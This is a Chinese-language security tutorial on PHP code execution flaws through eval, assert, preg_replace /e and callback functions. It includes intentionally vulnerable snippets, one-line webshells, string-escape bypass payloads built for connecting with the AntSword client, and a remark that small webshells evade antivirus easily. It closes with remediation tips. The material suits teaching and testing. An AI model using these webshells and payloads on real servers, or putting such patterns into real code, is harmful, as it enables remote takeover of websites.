代码执行漏洞
概述
在Web应用中有时候程序员为了考虑灵活性,简洁性,会在代码调用eval函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。
相关函数
eval()
//字符串作为php代码执行
assert()
preg_replace()
// 执行一个正则表达式的搜索和替换
create_function()
// 创建匿名函数
array_map()
call_user_func()
/ call_user_func_array()
array_filter()
usort()
, uasort()
$_GET['a']
//a=assert&b=phpinfo()
危害
eval函数
<?php
eval('phpinfo();'); //eval() 函数把字符串按照 PHP 代码执行。
?>
eval()函数漏洞利用_1
<?php
$data=$_GET['data'];
eval("\$ret = $data;");
echo $ret;
?>
使用一句话木马连接测试:
phpstrom代码调试
http://127.0.0.1/hello.php?data=phpinfo()&XDEBUG_SESSION_START=PHPSTORM
实验
尝试利用下面代码,构造一句话木马,并使用蚁剑连接
demo.php
<?php
eval($_GET['a']); //$_GET 变量用于收集来自表单中的值
?>
http://127.0.0.1/demo.php?a=eval($_POST[%27b%27]);
eval()函数绕过
如何绕过下面代码过滤,构造出一句话木马,并能用蚁剑连接。
<?php
$data = $_GET['a'];
$temp = "\$ret = strtolower(\"data\");"; //strtolower()函数 把字符串转换为小写
eval($temp);
echo $ret;
?>
//双引号url编码是%22
http://127.0.0.1/demo.php?a=%22);phpinfo();(%22
//构造一句话木马
//第一种方式
http://127.0.0.1/demo.php?a=%22);eval($_POST[%27b%27]);(%22
//第二种方式
http://127.0.0.1/demo.php?a=${eval($_POST[%27b%27])}
assert函数
** assert函数直接将传入的参数当成PHP代码直接执行,不需要以分号结尾,加分号也可以**
<?php @assert($_GET['cmd'])?>
<?php @assert($_POST['cmd'])?>
assert函数只能执行一个函数,像echo 123123; assert却不能直接执行
** 可变变量,可变函数**
<?php
//可变变量
$a = 'b';
$b = 'c';
echo $$a; //c
//可变函数
function sayHello(){
echo 'hello world';
}
$a = 'say';
$b = 'hello';
$c = $a.$b;
$c();
?>
<?php
//eval()函数 是一个语言构造器而不是一个函数,不能被可变函数调用
$a = 'ev';
$b = 'al';
$c = $a.$b;
$c("phpinfo();") //报错
//assert()函数,能被可变函数调用
$a = 'ass';
$b = 'ert';
$c = $a.$b;
$c("phpinfo()")
?>
注意:因为eval()是一个语言构造器而不是一个函数,不能被可变函数调用。
构造一句话木马,使用蚁剑连接
<?php
//assert()函数,能被可变函数调用
$a = 'ass';
$b = 'ert';
$c = $a.$b;
$c($_GET['a']);
?>
http://127.0.0.1/demo.php?a=eval($_POST[%27b%27])
preg_repalce函数
PHP版本5.6之前
preg_repalce函数执行一个正则表达式的搜索和替换
preg_replace (正则表达式, 替换成, 字符串)
preg_replace ( $pattern , $replacement , string)
<?php
$a = $_GET['a'];
echo preg_replace("/test/e",$a,"just test!");
?>
/*
如果我们提交?a=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将第二参数当作 PHP 代码执行
当使用 /e 修饰符调用 preg_replace() 时,解释器必须在每次替换时将替换字符串解析为 PHP 代码一次
*/
构造一句话木马,使用蚁剑连接
http://127.0.0.1/demo.php?a=eval($_POST[%27b%27])
preg_replace 进行代码执行,需要的条件
1、修饰符需要有e
2、要求版本小于等于5.6
3、第二个参数要直接或者间接可控
4、模式必须成功匹配到
phpstrom进行下面代码调试
<?php
//echo $data;
//此时相当于在$data变量中查找是否满足正则匹配的条件
//此时的正则表达式条件:<data>(.*)</data>
//如果满足正则匹配条件,则将replacement参数中的值进行替换
//如果说第一个参数中有/e,则代表replacement参数,可以近似大的理解为将代码先用eval进行执行
$data=$_GET['data'];
echo $data;
preg_replace('/<data>(.*)<\/data>/e','$ret="\\1"',$data);
echo $ret;
?>
//小于号的url编码是%3C
//大于号的url编码是%3E
http://127.0.0.1/demo.php?data=%3Cdata%3Exingongke%3C/data%3E&XDEBUG_SESSION_START=PHPSTORM
create_function函数
create_function — 创建匿名函数
我们一般应该怎么创建函数
比如说:
<?php
function diy_add($a,$b){
return $a + $b;
}
echo diy_add(3,6);
?>
create_function函数可以 创建"匿名"函数
<?php
$func = create_function('$a,$b', 'echo $a.$b;');
$func('hello','world');
//上面代码和下面代码实现相似功能
function xxx($a,$b){
echo "$a"."$b";
}
xxx('hello','world');
?>
array_map函数
array_map — 为数组的每个元素应用回调函数
array_map ( callable $callback
, array $array
, array ...$arrays
)
参数
callback
回调函数 callable,应用到每个数组里的每个元素。
多个数组操作合并时,callback
可以设置为 null
。 如果只提供了 array
一个数组, array_map() 会返回输入的数组。
array
数组,遍历运行 callback
函数。
arrays
额外的数组列表,每个都遍历运行 callback
函数。
例:
<?php
function cube($n)
{
return ($n * $n * $n);
}
$a = [1, 2, 3, 4, 5];
$b = array_map('cube', $a);
print_r($b);
?>
call_user_func函数
call_user_func() — 把第一个参数作为回调函数调用
第一个参数 callback
是被调用的回调函数,其余参数是回调函数的参数。
http://127.0.0.1/demo.php?cmd=phpinfo();
<?php
call_user_func("assert", $_GET['cmd']);
?>
array_filter函数
array_filter — 使用回调函数过滤数组的元素
http://127.0.0.1/demo.php?a=phpinfo();
<?php
$array[0] = $_GET['a'];
array_filter($array, 'assert');
?>
http://127.0.0.1/demo.php?1=assert&2=phpinfo();
<?php
$_GET[1]($_GET[2]);
?>
usort函数
usort — 使用用户自定义的比较函数对数组中的值进行排序
http://127.0.0.1/demo.php?1=phpinfo();
<?php
$a = array($_GET[1],12345,'hehe');
function xxx($num1, $num2){
@assert($num2);
return -1;
}
usort($a, 'xxx')
?>
大马和小马的区别: 小马往往是可以动态的执行下达的指令,通常都是eval,assert函数来执行的,体积小,容易免杀。 大马往往是将整个功能点已经写入在文件中,执行相应的操作无需调用eval等函数来执行,往往体积较大,免杀相对复杂
漏洞修复方案
1,对于eval()等函数一定要保证用户不能控制函数的参数,或者使用正则,对用户输入数据的格式进行判断。
2,对于字符串一定要使用单引号包裹可控代码,并且插入前进行过滤
3,对于preg_replace放弃使用e修饰符。如果必须要用e修饰符,请判断第二个参数,是否会被插入php代码